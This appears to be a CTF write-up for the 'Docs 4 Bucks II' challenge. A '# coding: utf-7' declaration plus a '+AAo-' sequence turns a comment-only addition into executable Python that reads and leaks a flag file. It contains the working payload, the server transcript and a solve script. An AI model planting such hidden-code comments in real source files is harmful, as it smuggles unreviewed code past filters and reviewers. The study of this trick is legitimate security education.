# misc

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FQZ5mgokOe6h5zFCqmw81%2Fimage.png?alt=media&#x26;token=4ee54bf7-aa67-40a2-b366-180535dbbd7f" alt=""><figcaption></figcaption></figure>

## Docs 4 Bucks II

<figure><img src="https://2268275695-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUrHD5lu5pQjrB9B8IR6W%2Fuploads%2FOELImzoH0hkuZzBoem0o%2Fimage.png?alt=media&#x26;token=c48b2122-193c-4f6b-a3b5-12f005ffa0eb" alt=""><figcaption></figcaption></figure>

> You know the gist from our [old challenge](https://github.com/blockhousetech/TBTL-CTF/tree/master/2023/Misc/docs_4_bucks).
>
> You document our code, we give you $$$!!!!
>
> `nc 0.cloud.chals.io 18965`

### tldr;&#x20;

Result: one “comment” line becomes executable Python without violating the filter.

### solve

{% hint style="success" %}
We are given a Python module flag\_checker.py and told we may only “document” it: add lines that start with # containing ASCII printable characters; any edit or non-comment line is rejected. The service then executes the file with pytest. We bypass the restriction by adding an encoding declaration (# coding: utf-7) and, on the next comment line, embedding the UTF–7 sequence +AAo- (newline).&#x20;

After decoding, that sequence turns the remainder of the line into a real code line which we use to raise an exception that prints the flag from <mark style="color:$success;">**`resources/flag.txt`**</mark>.&#x20;
{% endhint %}

{% tabs %}
{% tab title="run" %}

```bash
❯ nc 0.cloud.chals.io 18965

 _______                                       __    __        _______                       __
|       \                                     |  \  |  \      |       \                     |  \
| $$$$$$$\  ______    _______   _______       | $$  | $$      | $$$$$$$\ __    __   _______ | $$   __   _______
| $$  | $$ /      \  /       \ /       \      | $$__| $$      | $$__/ $$|  \  |  \ /       \| $$  /  \ /       \\
| $$  | $$|  $$$$$$\|  $$$$$$$|  $$$$$$$      | $$    $$      | $$    $$| $$  | $$|  $$$$$$$| $$_/  $$|  $$$$$$$\
| $$  | $$| $$  | $$| $$       \$$    \        \$$$$$$$$      | $$$$$$$\| $$  | $$| $$      | $$   $$  \$$    \
| $$__/ $$| $$__/ $$| $$_____  _\$$$$$$\            | $$      | $$__/ $$| $$__/ $$| $$_____ | $$$$$$\  _\$$$$$$\\
| $$    $$ \$$    $$ \$$     \|       $$            | $$      | $$    $$ \$$    $$ \$$     \| $$  \$$\|       $$
 \$$$$$$$   \$$$$$$   \$$$$$$$ \$$$$$$$              \$$       \$$$$$$$   \$$$$$$   \$$$$$$$ \$$   \$$ \$$$$$$$

Welcome to Docs 4 Bucks -- You document our code, we give you $$$!!!!

RULES:
  1. Don't delete or change any existing line of code!
  2. You may only add documentation (lines starting with '#' containing ascii printable characters).
  3. Hacking is futile, we have world-class protection in place.

Your job is to document our flag_checker.py (base64):

aW1wb3J0IG9zCgpjbGFzcyBGbGFnQ2hlY2tlcjoKICAgIGRlZiBfX2luaXRfXyhzZWxmLCBwYXRoX3RvX2ZsYWc6IHN0cik6CiAgICAgICAgc2VsZi5wYXRoX3RvX2ZsYWcgPSBwYXRoX3RvX2ZsYWcKCiAgICBkZWYgY2hlY2soc2VsZikgLT4gYm9vbDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHdpdGggb3BlbihzZWxmLnBhdGhfdG9fZmxhZywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZmxhZyA9IGYucmVhZCgpCiAgICAgICAgZXhjZXB0IChGaWxlTm90Rm91bmRFcnJvciwgSU9FcnJvcik6CiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIHJldHVybiBmbGFnLnN0YXJ0c3dpdGgoIkZvcnRJRHsiKSBhbmQgZmxhZy5lbmRzd2l0aCgifVxuIikKCgpkZWYgdGVzdF9mbGFnKCk6CiAgICBmbGFnX3BhdGggPSBvcy5wYXRoLmpvaW4ob3MucGF0aC5kaXJuYW1lKF9fZmlsZV9fKSwgJ3Jlc291cmNlcycsICdmbGFnLnR4dCcpCiAgICBjaGVja2VyID0gRmxhZ0NoZWNrZXIoZmxhZ19wYXRoKQogICAgYXNzZXJ0IGNoZWNrZXIuY2hlY2soKQoKCmRlZiB0ZXN0X2ludmFsaWQodG1wX3BhdGgpOgogICAgYmFkX2ZsYWcgPSB0bXBfcGF0aCAvICJiYWRfZmxhZy50eHQiCiAgICBiYWRfZmxhZy53cml0ZV90ZXh0KCJOT1RfQV9GTEFHXG4iKQogICAgY2hlY2tlciA9IEZsYWdDaGVja2VyKHN0cihiYWRfZmxhZykpCiAgICBhc3NlcnQgbm90IGNoZWNrZXIuY2hlY2soKQoKCmlmIF9fbmFtZV9fID09ICdfX21haW5fXyc6CiAgICBpbXBvcnQgcHl0ZXN0CiAgICBpbXBvcnQgc3lzCiAgICBzeXMuZXhpdChweXRlc3QubWFpbihbX19maWxlX19dKSkK

Submit documented version of the code (base64):

IyBjb2Rpbmc6IHV0Zi03CiMgK0FBby1yYWlzZSBBc3NlcnRpb25FcnJvcihfX2ltcG9ydF9fKCdwYXRobGliJykuUGF0aChfX2ZpbGVfXykud2l0aF9uYW1lKCdyZXNvdXJjZXMnKS5qb2lucGF0aCgnZmxhZy50eHQnKS5yZWFkX3RleHQoKSkKaW1wb3J0IG9zCgpjbGFzcyBGbGFnQ2hlY2tlcjoKICAgIGRlZiBfX2luaXRfXyhzZWxmLCBwYXRoX3RvX2ZsYWc6IHN0cik6CiAgICAgICAgc2VsZi5wYXRoX3RvX2ZsYWcgPSBwYXRoX3RvX2ZsYWcKCiAgICBkZWYgY2hlY2soc2VsZikgLT4gYm9vbDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHdpdGggb3BlbihzZWxmLnBhdGhfdG9fZmxhZywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZmxhZyA9IGYucmVhZCgpCiAgICAgICAgZXhjZXB0IChGaWxlTm90Rm91bmRFcnJvciwgSU9FcnJvcik6CiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIHJldHVybiBmbGFnLnN0YXJ0c3dpdGgoIkZvcnRJRHsiKSBhbmQgZmxhZy5lbmRzd2l0aCgifVxuIikKCgpkZWYgdGVzdF9mbGFnKCk6CiAgICBmbGFnX3BhdGggPSBvcy5wYXRoLmpvaW4ob3MucGF0aC5kaXJuYW1lKF9fZmlsZV9fKSwgJ3Jlc291cmNlcycsICdmbGFnLnR4dCcpCiAgICBjaGVja2VyID0gRmxhZ0NoZWNrZXIoZmxhZ19wYXRoKQogICAgYXNzZXJ0IGNoZWNrZXIuY2hlY2soKQoKCmRlZiB0ZXN0X2ludmFsaWQodG1wX3BhdGgpOgogICAgYmFkX2ZsYWcgPSB0bXBfcGF0aCAvICJiYWRfZmxhZy50eHQiCiAgICBiYWRfZmxhZy53cml0ZV90ZXh0KCJOT1RfQV9GTEFHXG4iKQogICAgY2hlY2tlciA9IEZsYWdDaGVja2VyKHN0cihiYWRfZmxhZykpCiAgICBhc3NlcnQgbm90IGNoZWNrZXIuY2hlY2soKQoKCmlmIF9fbmFtZV9fID09ICdfX21haW5fXyc6CiAgICBpbXBvcnQgcHl0ZXN0CiAgICBpbXBvcnQgc3lzCiAgICBzeXMuZXhpdChweXRlc3QubWFpbihbX19maWxlX19dKSkK
Thank you for your contribution, we'll run the test suite just to be safe...


==================================== ERRORS ====================================
_______________________ ERROR collecting flag_checker.py _______________________
flag_checker.py:3: in <module>
    raise AssertionError(__import__('pathlib').Path(__file__).with_name('resources').joinpath('flag.txt').read_text())
E   AssertionError: FortID{Y0u_Add3d_S0m3_C0mm3n75_4nD_G07_Th3_Fl4g_:0}
=========================== short test summary info ============================
ERROR flag_checker.py - AssertionError: FortID{Y0u_Add3d_S0m3_C0mm3n75_4nD_G0...
!!!!!!!!!!!!!!!!!!!! Interrupted: 1 error during collection !!!!!!!!!!!!!!!!!!!!
1 error in 0.13s
```

{% endtab %}

{% tab title="solve" %}

```python
orig = r"""import os

class FlagChecker:
    def __init__(self, path_to_flag: str):
        self.path_to_flag = path_to_flag

    def check(self) -> bool:
        try:
            with open(self.path_to_flag, 'r') as f:
                flag = f.read()
        except (FileNotFoundError, IOError):
            return False
        return flag.startswith("FortID{") and flag.endswith("}\n")


def test_flag():
    flag_path = os.path.join(os.path.dirname(__file__), 'resources', 'flag.txt')
    checker = FlagChecker(flag_path)
    assert checker.check()


def test_invalid(tmp_path):
    bad_flag = tmp_path / "bad_flag.txt"
    bad_flag.write_text("NOT_A_FLAG\n")
    checker = FlagChecker(str(bad_flag))
    assert not checker.check()


if __name__ == '__main__':
    import pytest
    import sys
    sys.exit(pytest.main([__file__]))
"""
preamble = "# coding: utf-7\n# +AAo-raise AssertionError(__import__('pathlib').Path(__file__).with_name('resources').joinpath('flag.txt').read_text())\n"
payload = preamble + orig
import base64
print(base64.b64encode(payload.encode('utf-8')).decode())
```

{% endtab %}
{% endtabs %}

* <mark style="color:$success;">**`FortID{Y0u_Add3d_S0m3_C0mm3n75_4nD_G07_Th3_Fl4g_:0}`**</mark>
